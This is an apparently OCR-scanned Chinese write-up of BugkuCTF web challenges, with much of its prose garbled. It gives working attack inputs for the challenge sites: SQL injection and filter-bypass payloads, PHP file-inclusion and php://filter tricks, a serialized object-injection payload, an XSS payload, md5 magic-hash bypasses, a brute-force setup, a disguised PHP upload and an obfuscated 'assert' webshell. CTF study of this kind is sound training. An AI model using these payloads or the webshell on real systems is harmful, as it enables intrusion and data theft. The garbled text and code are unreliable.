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</head>

<body id="body" onLoad="init{)">

<!flag KEY{Web-2-bugKsshNikls91@ee}:>

<script type="text/javascript” src="js/ThreeCanvas.js"></script>
<script type="text/javascript” src="js/Snow.js"></script>
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w <body>
<span id="code" class="code" style="background: rgb(113, 12, 52

<input class="input™ maxlength="20" type="text">

)
<button id="check">%&ilF</button> |event
- <div style="text-align:center;">)</div>

web:fit$_GET
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$what=$ GET[ 'what'];
echo $what;

if($what=="Fflag")
echo 'flag{****}';

BN 2what=Fflag
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webZtfili$_POST

AH IR

$what=$ POST[ 'what'];
echo $what;

if($what=="flag")
echo 'flag{****}';

(I HLHT B G 58 25 4 HackBar)
Encryption + Encoding + Other ~

& Load URL http://120.24.86.145:8002/post/

i split URL

Execute
= Post data| | Referrer[ | User Agent[ | Cookies

Post Data what=flag

g
RN TR

$num=$_GET[ 'num'];
if(!is_numeric($num))

{

echo $num;
if($num==1)
eChO 'flag{**********}')

}
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® 120.24.86.145:8002/get/index1.php?num=1a

1 A] LA His_numeric()i& 3] %004k Wr IR, #9i& 2num=1%00
Web3
TR —EAME, HEAERNAN, Rk Eamiy, i 5iag

131 alert("flagklOUdaAi™);

132 alert("A 0O000°E™);

133 <! --&d#75; 8#69; 8480 ; &it123 ; &#74 ; &if50; &##115; &#07 ; &it52 ; K50 ; 897 ; &H104 ; &4 74 ; 875 ; RitA5 ; &#72 ; &i#83 ; &40 ; &##49 ; &t 73 ; 473 ;
124 </script>

135 </head>

sqliEA



A PRI A I P T 4 gb2312, AEF %8 5 EAN

- C G} J ® 103.238.227.13:10083/?id=1%df%27 . ﬁ
SQLiFEN,

EiflkeyF,id=1MIstring=FE%

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1j&" LIMIT 1" at line 1

FAREIN%df B 3K 17 138

?id=1%bf' and version()>0--+ IR[FIIEM, TEHEZE v] §8 ~sqlserverfimysqgl
?id=1%bf' and length(user())>e --+ IR[AIIEH, BLHIfF Euser() %, 2mysqlfidfE FE
I\ ?1d=1%df' order by 2 --+ IEH[EE

B ?id=1%df' order by 3 --+ lizxUnknown column ‘3’ in ‘order clause’

CIEG s

I\ ?id=1%df' union select database(),2 --+ 155185 E 4 Hsqls

@® 103.238.227.13:10083/?id=1%df%27%20union%20select%20database(),2%20--+

SQLFENNL,

Eiflkey: id=10string=E&

id 1

key fdsafdasfdsa
id sql5

key 2

i\ ?id=1%df' union select 1,string from sql5.key --+ AJf5

® 103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key e @ v

SQLFEN S,

Eriakeyzz.id=1/Istring=E&

id 1

key fdsafdasfdsa

id 1

key 54{3320dc261f313ba712eb3f13a1f6d
id 1

key aaaaaaaaaa

1% 44 A A



FHFlinuxEEFINL, 7E20m%I N sudo gedit /etc/hosts
7Nl 120.24.86.145 flag.bugku.com

70 - || &) o
127.8.8.1 localhost
127.8.1.1 Nancy.www.nancy.com Nancy

120.24.86.145 flag.bugku.com|

# The following lines are desirable for IPv6é capable hosts
5a1 localhost ip6-localhost ip6-loopback

ffe2::1 ip6-allnodes

ffe2::2 ip6-allrouters

(RA7, HE$:Vi i flag.bugku.com
SQLAF A1

SPUR S

/ /it Esql
$array = array('table', 'union','and’','or','load_file', 'create’', 'delete’, 'select', 'update’','sleep', 'alter’', 'drop’

, "truncate', 'from', 'max', ‘'min', 'order', 'limit");

foreach ($array as $value)

i
if (substr_count($id, $value) > 0)
{

exit (" EHUK 71 '.$value);

1] LA %0083 i <>58id St i i e

fii\ ?id=1 uni%e@on sel%@@ect 1,database() --+ TE¥i A4 Nsql3
oE XA ?2id=1 un<>ion sel<>ect 1,database() --+
(RNIXH) $id = strip_tags($id); <> NT)

strip_tags() BR#H L F A7 HTML. XML BA & PHP (4545

HEISR:
id 1
title sql3

Hi\ ?id=1 uni%@@on sel%@@ect 1,hash fr%eeom sql3.key --+ 5 %lflag

PR 2k A s T


http://xn--flag-4u7hr20hwo4a59q.bugku.com

Fburp#l L f5— Efoward, & 5 Aflagi v, =(# ki%F|Repeater

K5
i H

<?php

include "flag.php";
$a = @$_REQUEST[ 'hello'];

eval( "var_dump($a);");

show_source(__FILE );

file() BEGEEHEA U BN — DM HZE

2 eval( "var_dump($a);"); X, =ftSanigir, e fi s NI, Wil geit Bon KN,
FFLATT LAF Fifile()p&i %, #flag.php S5 NS4
Fyiti: ?hello=file('flag.php")

"flagl.php";
highlight file(_ file );
if(isset($_GET['args'])){

$args = $ GET['args'];
if(!preg_match("/\w+$/",%args)){
die("args error!");

}
eval("var_dump($$args);");

MRS IT Bargs W AlE BT 5 AR, argstli e a2k IEME, & KD $sargs MEE X, 7] IAHF|IGLOBALSAE &/ 1,
FTANTENERAGEM., Tl EEWE 2args=6GLOBALS 115

web5
$ERISPFUCK, HEVEM KL T UF 2 )(HA G, EHE SRR 5 25 2 6 15
Hburpylfd, Ki%Z|Repeater

oA 3 5



FAE %13 Hishell.php, 5 il B 3L 4 P 0T T

Fburp [ 7 Y passwords 7 B fil B Af
web4
BEVR, e TURLAREY, 715375

[functioncheckSubmit(){
vara=document.getElementById("password");
if("undefined" !=typeof a){

if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!o;
alert("Error");

a.focus();

return!l

¥
document.getElementById("levelQuest").onsubmit=checkSubmit;

MG AU 75 40 B 424116 7d709b2b54aa2aa648cf6e87a7 11411t 45 password Bl 7]
flag7t index &

click PLJ5 7R ?File=show.php , 5512 X%, HflagffindexphpH, X% [php:/filteriii, #ifipayload: ?
file=php://filter/convert.base64-encode/resource=index.php

{843 2115 B 11T Base64i# Y il 15

i N\ 5% 15 2 % flag

SEAE N S SRR SN B, AR A TTACEE A burp R
g

' Target r T Spider ]/ Scanner ] Intruder ] Repeater l Sequencer I Decoder I Comparer ] Extender ] Project options ] User options IAIerts ]

_[ ] HTTP history I WebSockets history I Options ]

| _./| Request to http://120.24 86 145:8002
| Forward [ | Drop | ‘ Intercept is on Action

I e emm

POST /baopol?yes HTTP/M A
Hast 190 24 QR 148 -00N9D




TUIL. eV .ETE. T S

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:61.0) Gecko/20100101 Firefox/51.0
Accept: text/html,applicationfxhtml+xml,application/xml;q=0.8,"/;q=0.8

Accept-Language: zh,zh-CN;q=0.8.en-US;q=0.5.en:q=0.3

Accept-Encoding: gzip, deflate

Referer: http://120.24.86.145:8002/baopo/

Content-Type: applicationfc-www-form-urlencoded

Content-Length: @

Connection: close

Upgrade-Insecure-Requests: 1

pwd=12345

w3k A k% E Intruder

rTmTFrnryTSPiMIMMRmTWIME
Jroun ] roers [parons [ oo

w Attack Target

Configure the details of the target for the attack.

Host: | 120.24.86.145

Port: | 8002

(] Use HTTPS

payload typei#¥Numbers, [ 10000%]99999, stepik 1

[TapetIFrcx'yI&imeMMTWIMTW"MIWBMM]
(o
[reoe | roor [ asnes oo |

m Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Vi

different ways.
Payload set: i 1 '.IJ Payload count: 90,000
Paylcad type: i Numbers PJ Reguest count: 90,000

m Payload Options [Numbers]

This paylcad type generates numeric payloads within a given range and in a specified format.

Number range

Type: @® Seguential () Random

From: 10000



To: 99995
Step: 1

How many:

SR J5EOptions H 2 A 1005 & FiAth - R FRL I 175 150 11T 5 D
mistart attacksi 7] LLIT46 1, B W Mengthi& [HE AN R IS5 % 2 % 1

mE—A AR
oRis, BBV, 1TEagli tZclicks>=1000000, 1 LLE#POST, #iAclicks=1000000H] ]
B A SR

XAFR S 2 BT, X RAOE i mark— R
BFE AT E9, 14152 KPS d41d8cd98f00b204e9800998eci8427e ik, fifthyfF: [4 % H5)/[Empty String], RJE&%k
PLIXANBEE FH ..

AR B H A VA A0 AT %

WY BB R i SO RIAIIR A0 SO — AR R 2144 J5 445 In.bak 2l swp

29897 ] http://http://120.24.86.145:8002/webl16/index.php.bak HIRE CHE, B FHR T RERMmMAH 4, H
notepad++#T -, f3EIWI N HFF

* Created by PhpStorm.
* User: Norse

* Date: 2017/8/6

* Time: 20:22

*/

include_once "flag.php";
ini_set("display_errors", 0);
= strstr($_SERVER['REQUEST URI'], '?');
substr($str,1);
= str_replace('key','"',$str);
parse_str($str);
echo md5($keyl);

echo md5($key2);
if(md5($keyl) == md5($key2) && $keyl !== $key2){
echo $flag."Hif5flag";

JIT FH 21— 2 bR K

1.strstr() BREEE R FRF R AE 3 —F AP P — I,
2.substr(string,start,length), & [FI=/FE —#5r . (lengthiE)
3.str_replace() BRA LA 74 B e fF I — 2577 (K RANE) .

str_replace(find,replace,string,count)



o find: 7, HEEAERME.

e replace: W, FE & find S IME.

o string: W7, HUEBERMTITH .

e count: Wik, X EHEGATIHENARE
4.parse_str() BEHE TR B TR E

$str = str_replace('key','',$str); XAJkeyE N=; FHEIMdS5()KEL, 757 {EH240610708 HIQNKCDZO. 24 )5 %%
tb, MHBkey#i BT, A LIHkkeyey® Hikey. LA Pkkeyeyl=240610708&kkeyey2=QNKCDZO 5 Zflag

o —TEEAE, W E R TA0, wiE

ARk 4R ER

WEHN 0' or 1=1 union select 1,2# f10' or 1=1 union select 1,2,3# ¥JLEIE, HA ©' or 1=1 union select
1,2,3,44 1B EoR
HiAN @' union select database(),null,null,null# f5%¥E 4 Nsketf flag

skctf_flaghypkZhE

T oRA R4, BN o' union select table name,2,3,4 from information_schema.tables where
table_schema='skctf_flag'#

flagHIpkEER

1334 Mg

HEBI4, FiNe' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g' and
table_schema="skctf_flag'# 15 £I%| % Hyskctf_flag

i —*F, HiA\ @' union select skctf_flag,2,3,4 from flag # 15%|flag
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'http://120.24.86.145:8002/qiumingshan/"
requests.Session()

source = s.get(url)

expression = re.search(r'(\d+[+\-*])+(\d+)"', source.text).group()

result = eval(expression)
= {'value': result}

print(s.post(url, data = post).text)

j&47— T3 %flag
i B

e =p/ AL

<br>»
A PRI 1)
<1--0K ,now you have to post the margin what you find-->
</body>
</html>

fEm NSk ik Biflag g 1, Fah Y K I Base64gmhd 1 Ik

£

Date: Mon, 20 Aug 2018 06:17:55 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

flag: 6LeR55qE6L+Y5LINGZSZ/ fyM5 7uZ52g/mxhZ+WQpzog T XpRMUSqRXk=
Keep-Alive: timeout=60
Pragma: no-cache

260 M GETHIPOS T =R 2k Al i Sk

import requests

import base64
url = "http://120.24.86.145:8002/web6/ "'

get_response = requests.get(url)

print('GET Request Headers:\n', get_response.request.headers, '

print('GET Response Headers:\n', get_response.headers, '\n')

base64.b64decode(baseb4.bb64decode(get_response.headers['flag']).decode().split(":")[1])
= {'margin': key}
post_responese = requests.post(url, data = post)
print('POST Request Headers:\n', post responese.request.headers, '\n')

print('POST Response Headers:\n', post_responese.headers, '\n')

2 RILPI fISet-Cookiefliflag#fi A —FE,  Jif LERAEPOSTAIGETAE [A] — > il o
M A



import requests
import base64

'http://120.24.86.145:8002/web6/"
headers = requests.get(url).headers
base64.b64decode(baseb4.b64decode(headers['flag']).decode().split(":")[1])
= {"margin": key}
PHPSESSID = headers|["Set-Cookie"].split(";")[0].split("=")[1]
cookie = {"PHPSESSID": PHPSESSID}

print(requests.post(url, data = post, cookies = cookie).text)

X B MBHEMSHET . — KRB S

Cookies !k I

JERF] 2line=&filename=a2V5cy50eHQ= , baseb4fifE Akeys.txt, F4EARITHIK line=,
KR T 2521 T W RATS A4

import requests
s=requests.Session()
url="http://120.24.86.145:8002/webl1l/index.php"’
for i in range(1,20):
payload={'line':str(i), 'filename"':'aW5kZXgucGhw"}
a=s.get(url,params=payload).content
content=str(a,encoding="utf-8")
print(content)

B Pl B g L
import requests

for i in range(a):
url = "http://120.24.86.145:8002/webll/index.php?line=%d&filename=aW5kZXgucGhw" %i
r = requests.get(url)
print (r.text)

BAT MR

error_reporting(9);

$file=base64 decode(isset($ GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($ _GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'Q0' =>'keys.txt',

'1' =>"'index.php',

)

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ 'margin']=="margin'){
$file_list[2]="keys.php"';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

?>

BT Aburpf L #4i& Cookie: margin=margin

XSS



https://ciphersaw.me/2017/12/16/%25E8%25AF%25A6%25E8%25A7%25A3%20CTF%20Web%20%25E4%25B8%25AD%25E7%259A%2584%25E5%25BF%25AB%25E9%2580%259F%25E5%258F%258D%25E5%25BC%25B9%20POST%20%25E8%25AF%25B7%25E6%25B1%2582/

EHEIRARHFEN S
KILATRIH var s=""; document.getElementById('s').innerHTML = s;

w<div class="alert alert-success">
<p>1. iFTEAN—BixssiUY, fkHLFlagfii</p>
<p>2. Wil falert(_key ), _key_zrFahifi i fe</p>
</div>

<div id="s"></div>
viafter
</div>
<!--jQuery Zff. % 4h{ffbootstrap.min.js Z A5 A-->
<script src="http://apps.bdimg.com/1ibs/jquery/2.1.4/jquery.min.js"></script>

<!--f#) Bootstrap #%{» Javascript Cff-->
<script src="http://apps.bdimg.com/1ibs/bootstrap/3.3.4/js/bootstrap.min.js"></script>
w <script>

var s=""; document.getElementById('s").innerHTML = s;
</script>»

SREAIAIE id=<script>alert('hack')</script> , ARG
w <script>»

var s="8&1t;scripté&gt;alert("hack’)&lt;/scriptégt;”; document.getElementById('s").innerHTML = s;
</script>

SRI<>PHFAL T, X% HunicodeilB et ?id=\uee3cimg src=1 onerror=alert(_key_)\uee3e 15Zlflag

never give up



R AR, KILSE7R 1p.html

<l--1p.html-->

<html>
< »</f >
</html>

Pim1p.html, view-source:http://120.24.86.145:8006/test/1p.html

sl I

® view-source:http://120.24.86.145:8006/test/1p.html

<HTML>

<HEAD>

<SCRIPT LANGUAGE="Javascript">
<M=

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWY1MjglMiE
function OutWord ()

{

var NewWords;

NewWords = unescape (Words)
document .write (NewWords) ¢

H

OutWord() ;

L >

</SCRIPT>

</HEAD>

<BODY>

</BODY>

</HTML>

K7 7 245 N B34 T Base64 /iy, A EHURLANY, KIW require("f4l2a3g.txt"); T4
i) view-source:http://120.24.86.145:8006/test/f412a3g. txt I 15

welcome to bugkuctf
BEEPSEACHD K AR R
$_GET["txt"];

$ GET["file"];
$ GET["password"];

if(isset($user)&&(file get contents($user, 'r')==="welcome to the bugkuctf")){

echo "hello admin!<br>";
include($file); //hint.php
}else{

echo "you are not admin ! ";

(Dfile_get_contents() BREIEEEAN LA — SRR,
@j@id include =% require iEf), wLLE PHP SCARIK I 254 75— A PHP SCPF (FERRSS 28T B 201D »
require 2/ Edndtik (E_COMPILE_ERROR) 4% IEJIA; include RApi# % (E_WARNING) , I HHiA 24k 4k



X AN B B2 [ php:/finputAlphp:/filter{y il
Jettig CaniED

) Load URL http://120.24.86. 145:8006Ktest1findex.php’?txt=php:ﬂinput|
1§ split URL

Execute
= Post data [ | Referrer ] User Agent[ | Cookies

Post Data welcome to the bugkuctf

7R hello friend!

SR 5 2218 F] FH php:/fitterisz B hint.php H ) P 25

@l Load URL http://120.24.86.145:8006/test1/index.php?ixt=php:/finput&file=php:/ilter/read=convert.base64-
encode#esouroe=mntphd
1 split URL
» ) Execute )
Post data [_] Referrer[_| User Agent[ ] Cookies
Post Data

welcome to the bugkuctf

base64 it £5 2 hint.phpJkiht

public $file;
public function _ tostring(){
if(isset($this->file)){
echo file_get contents($this->file);
echo "<br>";

return ("good");

7R Tflag.php, V5, /R REEEERL VR flaghk
H FEIFER 715 V) ilindex. phpilitiditil,  SARGFTIOGR, KIS



= $ GET["txt"];
= $ GET["file"];
$password = $ GET["password"];

if(isset($txt)&&(file get contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "AREITEFLAIRFlaghk" ;

exit();

}else{
include($file);
$password = unserialize($password);

echo $password;

"you are not the number of bugku ! ";

$_GET["txt"];
$ GET["file"];
$_GET["password"];

if(isset($user)&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";

include($file); //hint.php

"you are not admin ! ";

Kfaghid € 7, FrUAANGEE 27 Miflag.php, EHA 5L L
FACHS & R IR S 4 A S flagiiiidTelse P N 2, else I Se M S8 NBISCHE:, SR 5% H password ST FIAL B P 25
I w23 B AR 2 hint. php BL T 45 (I Flag 2

class Flag{//flag.php
public $file;
public function _ tostring(){
if(isset($this->file)){
echo file get contents($this->file);
echo "<br>";
return ("good");

HHA N toString() /772

__toString ()& £ EL ki 0 5 51 RN B b HI 77 i% .

FHIEFE R T echo file get contents($this->Ffile); nJ LA X A)TEELE O N 2.

XEE—REE 1ML T, WS 4passwardi A —AF AL FIFlagdsst % GXANX R i $file @ 4 % Mflag.php) » filefe A
hint. php, T)LH‘UJFHJ_ Bl H__toString()ek £k i flag.php H I P 45

17X DAk SEARAE T




public $file;

new Flag();
$p->file = "flag.php";
$p = serialize($p);

echo $p;

?>

IBATA L 0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
TR 56 IR IR ) 1

& Load URL http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint.php&password=0:4:"Flag":1:
{s:4:"fi|e";s:8:"ﬂag.php";H
il split URL
» | Execute

Post data [ | Referrer[ ] User Agent[ | Cookies

Post Data welcome to the bugkuctf

7R good » EFIRAGLEIERE K Flflag
R4 i
BAEAKRE, & THNFWPHER .

A H 45 7S

<?php
$poc="a#st#steHr#t";

$poc_1=explode("#",$poc); $poc_2=$poc _1[0].$poc_1[1].$poc_1[2].$poc 1[3].$poc_1[4].%$poc 1[5]; $poc 2($ GET['s'])
?>

explode(separator,string,limit): 4% & 4T HC 4L

Fr LAIX B ARRD 1)  SER Set Spoct # 7 I BB A, R G g — B N EH B e kAP i "assert" . FHassertn] AFAT AT 2 AR
Frbifi&payload: ?s=print_r(scandir('./')); FHZ
(W BB 55 —Fpiid J77k:  ?s=print_r(glob('*.*')) ta[LL)

scandir() BRECR 8145 € H s SO H sk £
glob() PRi#GR [a] UL AC 5 A A SR A4 Bl H 5

@ 120 24, 86 145: 8010/75 prlnt r(scandir(’./"));

Array ([0] =>.[1]=>.[2]=> f94lag txt [3] => index.php [4] => shell.php [5] => stream. php [6] == xx.php )

flag?Efodlag.ttH, V5



FHF? IEN?

$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);

if( $IM ){
die('key is: '.$key);

I %

[[:alpha:]|F B =B, [[digit]] R mEAET: [[alnum] R FBEAIET: [[space:] & Em 2 74T [[upper:]] & E i K5+
F; [[:lower:]]

TG 8 [[punct]| R R EMAR S 555 [[xdigit]] #1633 HI %, 4124 T-[0-9a-fA-F]
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<?php

if(isset($_GET['vl']) & isset($_GET['v2']) && isset($ _GET['v3'])){
$vl = $_GET['vl'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3']
if($vl != $v2 && md5($v1l) == md5($v2)){

3

if(!strcmp($v3, $flag)){
echo $flag;
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RORSQLA MR, X B Al LA — F AR 20 .
KA ARAESQLP AT A5 Hh AR BRI, P47 Ef R B RS AT S MER . e B0 35 i "admin"4 [ T-"admin ". #IANCL FEAMERLER, 5
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SELECT * FROM users WHERE username='admin ';
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md5 collision(NUPT_CTF)

PRmd5hliE, #itipayload: ?a=240610708 (L H AR 751 LL0e T k1))
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AL, RN X-Forwarded-For: 127.6.0.1, fEresponseflHifflag

K gt
HiH

= urldecode($ GET['id']);

"Flag{ XXXXXXXXXXXXXXXXXX}" ;

if (isset($ GET['uname']) and isset($ POST[ 'passwd'])) {
if ($_GET['uname'] == $ POST[ 'passwd'])

print 'passwd can not be uname.';

else if (shal($_GET['uname']) ==

die('Flag: '.$flag);

else

print ‘sorry!‘;

B SR 7 shat (/R A S0 103

& Load URL
U split URL

»  Execute

shal($_POST[ 'passwd'])&($_GET['id']=="margin'))

Key 3 75 2 an B TR

http://120.24.86.145:8002/web7/?id=margin&uname[]=1

Post data [ | Referrer | User Agent[ | Cookies

Post Data
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<?php
extract($_GET);
if (lempty($ac))
{

$f = trim(file get contents($fn));

if ($ac === $f)

{

echo "<p>This is flag:" ." $flag</p>";
}else{

echo "<p>sorryl!l</p>";
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m:_ ® 120.24.86.145:8002/web13/robots.txt

User-agent: *
Disallow: /resusl.php

i i resusl.php

() 120.24.86.145:8002/web1 3/resu5|.php‘

MRPEIER A B EXRE, #i& /resusl.php?x=admin

3k getshell
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Aocept-Language: zh, eh-CHN:;=0.8,en-US;gq=0.5,en;q=0.3

becept-Encoding: gzip, deflate

Referer: http://120.24.86.145:8002/wehs/

Content-Type: mUltipart/form-data; boundary=———————————— 41184676334
Content-Length: 138

Cookie: PHPSESSID=s8r3jfvbolciklfsfllohijadtr0Sknid

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

————————————————————————————— 41184676334

Content-Disposition: form-data; name="file"; filename="1.php5"
Content-Type: image/png . .
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<?php
error_reporting(9);
include_once("flag.php");
$cookie = $ COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE );

}

elseif (unserialize($cookie) === "$KEY")

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">

<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>

$KEY="'ISecer:www.isecer.com';
?>
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serialize($KEY);

BRI EE s:0:""; , PMEECookied% ISecer=s:0:""; B ISecer=s:0:"" ¥ ISecer=s:0:""%3B #rJ L




	BugkuCTF(Web) WriteUp
	Web部分
	web2
	文件上传测试
	计算器
	web基础$_GET
	web基础$_POST
	矛盾
	Web3
	sql注入
	域名解析
	SQL注入1
	你必须让他停下
	本地包含
	变量1
	web5
	头等舱
	网站被黑
	web4
	flag在index里
	输入密码查看flag
	点击一百万次
	备份是个好习惯
	成绩单
	秋名山老司机
	速度要快
	Cookies欺骗
	XSS
	never give up
	welcome to bugkuctf
	过狗一句话
	字符？正则？
	前女友
	login1
	你从哪里来
	md5 collision(NUPT_CTF)
	程序员本地网站
	各种绕过
	web8
	细心
	求getshell
	flag.php


